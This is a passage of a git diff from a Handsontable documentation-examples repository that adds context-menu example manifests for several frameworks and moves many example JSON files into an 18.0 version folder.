\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnInit } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent implements OnInit {\n\n readonly hotData = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n const contextMenuSettings = {\n callback(key: string, selection: any, clickEvent: any) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled(this: Handsontable): boolean {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // A separator line can also be added like this:\n // 'sp1': '---------'\n // and the key has to be unique\n sp1: { name: '---------' },\n row_below: {\n name: 'Click to add row below',\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden(this: Handsontable): boolean {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true,\n isCommand: false,\n },\n },\n };\n\n this.hotSettings = {\n rowHeaders: true,\n colHeaders: true,\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/context-menu/angular/example3.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example3.js.json new file mode 100644 index 00000000..685d8326 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst contextMenuSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // A separator line can also be added like this:\n // 'sp1': { name: '---------' }\n // and the key has to be unique\n sp1: '---------',\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true,\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example3.js","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example3.ts.json new file mode 100644 index 00000000..552cc4c9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { DetailedSettings, MenuItemConfig } from 'handsontable/plugins/contextMenu';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst contextMenuSettings: DetailedSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // A separator line can also be added like this:\n // 'sp1': { name: '---------' }\n // and the key has to be unique\n sp1: '---------' as MenuItemConfig,\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true, // Prevent mouseoever from highlighting the item for selection\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example3.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example3.tsx.json new file mode 100644 index 00000000..74749366 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { DetailedSettings, MenuItemConfig } from 'handsontable/plugins/contextMenu';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst contextMenuSettings: DetailedSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // A separator line can also be added like this:\n // 'sp1': { name: '---------' }\n // and the key has to be unique\n sp1: '---------' as MenuItemConfig,\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true, // Prevent mouseoever from highlighting the item for selection\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/context-menu/react/example3.tsx","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example3.vue.json new file mode 100644 index 00000000..58422c8f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/context-menu/vue/example3.vue","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example3.js.json rename to 